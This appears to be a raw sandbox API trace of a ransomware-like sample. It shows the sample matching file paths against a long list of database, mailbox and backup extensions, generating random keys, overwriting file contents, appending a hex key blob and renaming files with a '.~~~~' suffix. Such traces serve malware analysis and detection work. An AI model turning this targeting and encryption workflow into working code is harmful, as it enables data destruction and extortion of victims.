	[0086.940] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0086.940] GetLastError () returned 0x0
	[0086.940] lstrlenW (lpString=".sqb") returned 4
	[0086.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".sqb") returned 0x0
	[0086.940] lstrlenW (lpString=".ost") returned 4
	[0086.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".ost") returned 0x0
	[0086.940] lstrlenW (lpString=".txt") returned 4
	[0086.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".txt") returned 0x0
	[0086.940] lstrlenW (lpString=".mdt") returned 4
	[0086.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".mdt") returned 0x0
	[0086.940] lstrlenW (lpString=".BDB") returned 4
	[0086.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".BDB") returned 0x0
	[0086.941] lstrlenW (lpString=".eql") returned 4
	[0086.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".eql") returned 0x0
	[0086.941] lstrlenW (lpString=".DBF") returned 4
	[0086.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".DBF") returned 0x0
	[0086.941] lstrlenW (lpString=".EQL") returned 4
	[0086.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".EQL") returned 0x0
	[0086.941] lstrlenW (lpString=".FDB") returned 4
	[0086.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".FDB") returned 0x0
	[0086.941] lstrlenW (lpString=".EDB") returned 4
	[0086.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".EDB") returned 0x0
	[0086.941] lstrlenW (lpString=".DACPAC") returned 7
	[0086.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".DACPAC") returned 0x0
	[0086.941] lstrlenW (lpString=".VHD") returned 4
	[0086.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".VHD") returned 0x0
	[0086.941] lstrlenW (lpString=".DBV") returned 4
	[0086.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".DBV") returned 0x0
	[0086.941] lstrlenW (lpString=".dacpac") returned 7
	[0086.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".dacpac") returned 0x0
	[0086.942] lstrlenW (lpString=".sdf") returned 4
	[0086.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".sdf") returned 0x0
	[0086.942] lstrlenW (lpString=".accdb") returned 6
	[0086.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".accdb") returned 0x0
	[0086.942] lstrlenW (lpString=".DBX") returned 4
	[0086.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".DBX") returned 0x0
	[0086.942] lstrlenW (lpString=".MDT") returned 4
	[0086.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".MDT") returned 0x0
	[0086.942] lstrlenW (lpString=".SQB") returned 4
	[0086.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".SQB") returned 0x0
	[0086.942] lstrlenW (lpString=".vhd") returned 4
	[0086.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".vhd") returned 0x0
	[0086.942] lstrlenW (lpString=".bac") returned 4
	[0086.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".bac") returned 0x0
	[0086.942] lstrlenW (lpString=".mdf") returned 4
	[0086.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".mdf") returned 0x0
	[0086.942] lstrlenW (lpString=".BAK") returned 4
	[0086.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".BAK") returned 0x0
	[0086.942] lstrlenW (lpString=".BAC") returned 4
	[0086.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".BAC") returned 0x0
	[0086.943] lstrlenW (lpString=".dbs") returned 4
	[0086.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".dbs") returned 0x0
	[0086.943] lstrlenW (lpString=".vhdx") returned 5
	[0086.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".vhdx") returned 0x0
	[0086.943] lstrlenW (lpString=".NDF") returned 4
	[0086.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".NDF") returned 0x0
	[0086.943] lstrlenW (lpString=".dat") returned 4
	[0086.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".dat") returned 0x0
	[0086.943] lstrlenW (lpString=".DBS") returned 4
	[0086.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".DBS") returned 0x0
	[0086.943] lstrlenW (lpString=".CKP") returned 4
	[0086.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".CKP") returned 0x0
	[0086.943] lstrlenW (lpString=".edb") returned 4
	[0086.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".edb") returned 0x0
	[0086.943] lstrlenW (lpString=".PST") returned 4
	[0086.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".PST") returned 0x0
	[0086.943] lstrlenW (lpString=".dbf") returned 4
	[0086.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".dbf") returned 0x0
	[0086.943] lstrlenW (lpString=".SQL") returned 4
	[0086.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".SQL") returned 0x0
	[0086.943] lstrlenW (lpString=".pst") returned 4
	[0086.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".pst") returned 0x0
	[0086.943] lstrlenW (lpString=".dbv") returned 4
	[0086.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".dbv") returned 0x0
	[0086.944] lstrlenW (lpString=".SDF") returned 4
	[0086.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".SDF") returned 0x0
	[0086.944] lstrlenW (lpString=".dtxs") returned 5
	[0086.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".dtxs") returned 0x0
	[0086.944] lstrlenW (lpString=".db3") returned 4
	[0086.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".db3") returned 0x0
	[0086.944] lstrlenW (lpString=".OST") returned 4
	[0086.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".OST") returned 0x0
	[0086.944] lstrlenW (lpString=".dbx") returned 4
	[0086.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".dbx") returned 0x0
	[0086.944] lstrlenW (lpString=".DB3") returned 4
	[0086.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".DB3") returned 0x0
	[0086.944] lstrlenW (lpString=".DAT") returned 4
	[0086.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".DAT") returned 0x0
	[0086.944] lstrlenW (lpString=".VHDX") returned 5
	[0086.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".VHDX") returned 0x0
	[0086.944] lstrlenW (lpString=".ndf") returned 4
	[0086.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".ndf") returned 0x0
	[0086.944] lstrlenW (lpString=".DB") returned 3
	[0086.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".DB") returned 0x0
	[0086.945] lstrlenW (lpString=".sql") returned 4
	[0086.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".sql") returned 0x0
	[0086.945] lstrlenW (lpString=".MYD") returned 4
	[0086.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".MYD") returned 0x0
	[0086.945] lstrlenW (lpString=".DBT") returned 4
	[0086.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".DBT") returned 0x0
	[0086.945] lstrlenW (lpString=".ACCDB") returned 6
	[0086.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".ACCDB") returned 0x0
	[0086.945] lstrlenW (lpString=".fdb") returned 4
	[0086.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".fdb") returned 0x0
	[0086.945] lstrlenW (lpString=".bak") returned 4
	[0086.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".bak") returned 0x0
	[0086.945] lstrlenW (lpString=".myd") returned 4
	[0086.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".myd") returned 0x0
	[0086.945] lstrlenW (lpString=".DTXS") returned 5
	[0086.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".DTXS") returned 0x0
	[0086.945] lstrlenW (lpString=".ckp") returned 4
	[0086.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".ckp") returned 0x0
	[0086.945] lstrlenW (lpString=".dbt") returned 4
	[0086.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".dbt") returned 0x0
	[0086.945] lstrlenW (lpString=".db") returned 3
	[0086.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".db") returned 0x0
	[0086.945] lstrlenW (lpString=".TXT") returned 4
	[0086.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".TXT") returned 0x0
	[0086.946] lstrlenW (lpString=".MDF") returned 4
	[0086.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".MDF") returned 0x0
	[0086.946] lstrlenW (lpString=".bdb") returned 4
	[0086.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".bdb") returned 0x0
	[0086.946] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.946] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0086.946] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362fe0
	[0086.946] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0086.948] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0086.948] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.948] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0086.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0086.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0086.948] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20693797398) returned 1
	[0086.948] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9da26650, dwHighDateTime=0x1d60e1e)) 
	[0086.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0086.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0086.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0086.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b4b8
	[0086.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0086.948] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b4b8 | out: hHeap=0x300000) returned 1
	[0086.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.948] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0086.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bb6c0
	[0086.948] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b2158
	[0086.949] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb6c0 | out: hHeap=0x300000) returned 1
	[0086.949] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0086.949] GetLastError () returned 0x0
	[0086.949] GetLastError () returned 0x0
	[0086.949] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0086.949] GetLastError () returned 0x0
	[0086.949] GetLastError () returned 0x0
	[0086.953] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffffa00, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.953] WriteFile (in: hFile=0x128, lpBuffer=0x2895ff0*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2895ff0*, lpNumberOfBytesWritten=0x1f8fec0*=0x600, lpOverlapped=0x0) returned 1
	[0086.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2895ff0 | out: hHeap=0x300000) returned 1
	[0086.954] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.954] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.954] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.954] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.954] CloseHandle (hObject=0x128) returned 1
	[0086.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bb6c0
	[0086.954] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex.~~~~")) returned 1
	[0086.955] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb6c0 | out: hHeap=0x300000) returned 1
	[0086.955] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0086.955] GetLastError () returned 0x0
	[0086.956] lstrlenW (lpString=".sqb") returned 4
	[0086.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".sqb") returned 0x0
	[0086.957] lstrlenW (lpString=".ost") returned 4
	[0086.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".ost") returned 0x0
	[0086.957] lstrlenW (lpString=".txt") returned 4
	[0086.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".txt") returned 0x0
	[0086.957] lstrlenW (lpString=".mdt") returned 4
	[0086.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".mdt") returned 0x0
	[0086.957] lstrlenW (lpString=".BDB") returned 4
	[0086.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".BDB") returned 0x0
	[0086.957] lstrlenW (lpString=".eql") returned 4
	[0086.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".eql") returned 0x0
	[0086.957] lstrlenW (lpString=".DBF") returned 4
	[0086.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".DBF") returned 0x0
	[0086.957] lstrlenW (lpString=".EQL") returned 4
	[0086.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".EQL") returned 0x0
	[0086.957] lstrlenW (lpString=".FDB") returned 4
	[0086.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".FDB") returned 0x0
	[0086.957] lstrlenW (lpString=".EDB") returned 4
	[0086.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".EDB") returned 0x0
	[0086.957] lstrlenW (lpString=".DACPAC") returned 7
	[0086.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".DACPAC") returned 0x0
	[0086.957] lstrlenW (lpString=".VHD") returned 4
	[0086.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".VHD") returned 0x0
	[0086.958] lstrlenW (lpString=".DBV") returned 4
	[0086.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".DBV") returned 0x0
	[0086.958] lstrlenW (lpString=".dacpac") returned 7
	[0086.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".dacpac") returned 0x0
	[0086.958] lstrlenW (lpString=".sdf") returned 4
	[0086.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".sdf") returned 0x0
	[0086.958] lstrlenW (lpString=".accdb") returned 6
	[0086.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".accdb") returned 0x0
	[0086.958] lstrlenW (lpString=".DBX") returned 4
	[0086.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".DBX") returned 0x0
	[0086.958] lstrlenW (lpString=".MDT") returned 4
	[0086.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".MDT") returned 0x0
	[0086.958] lstrlenW (lpString=".SQB") returned 4
	[0086.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".SQB") returned 0x0
	[0086.958] lstrlenW (lpString=".vhd") returned 4
	[0086.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".vhd") returned 0x0
	[0086.958] lstrlenW (lpString=".bac") returned 4
	[0086.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".bac") returned 0x0
	[0086.958] lstrlenW (lpString=".mdf") returned 4
	[0086.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".mdf") returned 0x0
	[0086.958] lstrlenW (lpString=".BAK") returned 4
	[0086.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".BAK") returned 0x0
	[0086.958] lstrlenW (lpString=".BAC") returned 4
	[0086.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".BAC") returned 0x0
	[0086.958] lstrlenW (lpString=".dbs") returned 4
	[0086.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".dbs") returned 0x0
	[0086.959] lstrlenW (lpString=".vhdx") returned 5
	[0086.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".vhdx") returned 0x0
	[0086.959] lstrlenW (lpString=".NDF") returned 4
	[0086.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".NDF") returned 0x0
	[0086.959] lstrlenW (lpString=".dat") returned 4
	[0086.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".dat") returned 0x0
	[0086.959] lstrlenW (lpString=".DBS") returned 4
	[0086.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".DBS") returned 0x0
	[0086.959] lstrlenW (lpString=".CKP") returned 4
	[0086.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".CKP") returned 0x0
	[0086.959] lstrlenW (lpString=".edb") returned 4
	[0086.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".edb") returned 0x0
	[0086.959] lstrlenW (lpString=".PST") returned 4
	[0086.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".PST") returned 0x0
	[0086.959] lstrlenW (lpString=".dbf") returned 4
	[0086.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".dbf") returned 0x0
	[0086.959] lstrlenW (lpString=".SQL") returned 4
	[0086.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".SQL") returned 0x0
	[0086.959] lstrlenW (lpString=".pst") returned 4
	[0086.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".pst") returned 0x0
	[0086.959] lstrlenW (lpString=".dbv") returned 4
	[0086.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", lpSrch=".dbv") returned 0x0
	[0086.960] lstrlenW (lpString=".SDF") returned 4
